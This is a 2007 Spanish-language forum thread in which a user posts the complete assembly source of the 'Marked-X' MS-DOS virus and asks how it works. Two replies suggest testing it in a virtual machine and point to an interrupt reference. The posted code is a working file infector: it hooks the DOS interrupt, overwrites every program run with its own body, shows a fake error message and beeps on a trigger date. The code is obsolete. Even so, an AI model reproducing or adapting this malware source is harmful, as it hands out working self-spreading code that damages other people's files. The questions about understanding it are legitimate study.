Foros del Web » Programación para mayores de 30 ;) » Programación General »

Ensamblador

Estas en el tema de Ensamblador en el foro de Programación General en Foros del Web. Buscando por la red me encontre este virus en codigo de ensamblador pero tengo algunas dudas sobre su funcionamientoy que hace especificamente , me podrian ...
  #1 (permalink)  
Antiguo 10/12/2007, 21:30
 
Fecha de Ingreso: septiembre-2007
Mensajes: 11
Antigüedad: 17 años, 4 meses
Puntos: 0
Ensamblador

Buscando por la red me encontre este virus en codigo de ensamblador pero tengo algunas dudas sobre su funcionamientoy que hace especificamente , me podrian ayudar xfa, necesito saber que hace y algunas de sus interrupciones desde ya gracias.

virus segment
assume cs:virus,ds:virus
org 100h
start: mov ah,2ah
int 21h
cmp dl,21
je happy_happy_joy_joy

mov ah,9h
mov dx,offset note
int 21h
jmp makemegotsr

happy_happy_joy_joy:
mov ah,9h
mov dx,offset society
int 21h

mov cx,1000
mov ax,0e07h
beeper:
int 10h
loop beeper
makemegotsr:
jmp tsrdata
new21: pushf
cmp ah,4bh
jz infect
jmp short end21

infect: mov ax,4301h
and cl,0feh
int 21h

mov ax,3d02h
int 21h
mov bx,ax
push ax
push bx
push cx
push dx
push ds

push cs
pop ds
mov ax,4200h
xor cx,cx
cwd
int 21h
mov cx,offset endvir-100h
mov ah,40h
mov dx,100h
int 21h
cwd
xor cx,cx

mov ax,5701h
int 21h

mov ah,3eh
int 21h
x21: pop ds
pop dx
pop cx
pop bx
pop ax
end21: popf
db 0eah
old21 dw 0,0
data db 'Marked-X' ; Virus name
db 'Will we ever learn to talk with eachother?'
db '(c) Metal Militia/Immortal Riot' ; Virus author
society db 'In any country, prison is where society sends it''s',0dh,0ah
db 'failures, but in this country society itself is faily',0dh,0ah
db '$' ; Information note
note db 'Bad command or filename',0dh,0ah
db '$' ; Fake note
tsrdata:
mov ax,3521h
int 21h
mov word ptr cs:old21,bx
mov word ptr cs:old21+2,es
mov dx,offset new21
mov ax,2521h
int 21h
push cs
pop ds
mov dx,offset endvir
int 27h
endvir label byte
virus ends
end start
  #2 (permalink)  
Antiguo 10/12/2007, 22:05
Avatar de TolaWare
Colaborador
 
Fecha de Ingreso: julio-2005
Mensajes: 4.352
Antigüedad: 19 años, 7 meses
Puntos: 24
Re: Ensamblador

Podrías ponerlo dentro de una maquina virtual (vmware,qemu,etc) y ver cómo se comporta.
  #3 (permalink)  
Antiguo 12/12/2007, 07:32
 
Fecha de Ingreso: septiembre-2007
Mensajes: 11
Antigüedad: 17 años, 4 meses
Puntos: 0
Re: Ensamblador

Hola, alguien mas me puede ayudar???
  #4 (permalink)  
Antiguo 13/12/2007, 02:45
Avatar de Eternal Idol  
Fecha de Ingreso: mayo-2004
Ubicación: Lucentum
Mensajes: 6.192
Antigüedad: 20 años, 9 meses
Puntos: 74
Re: Ensamblador

Yo te ayudo un poco, es un .COM, eso quiere decir que es puro codigo de 16 bits y no tiene ningun tipo de cabecera que lo identifique como un ejecutable. Ahora si queres saber lo que hace aca tenes una referencia:

Ralf Brown's Interrupt List.

La interrupcion 021h es propia de MS-DOS.

Esto es lo primero que hace, conseguir la fecha del sistema:
http://www.ctyme.com/intr/rb-2686.htm

Segui vos y desde ya te aclaro que este virus es arcaico y obsoleto (para un S.O. idem - MS-DOS -).
__________________
¡Peron cumple, Evita dignifica! VIVA PERON CARAJO
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 09:49.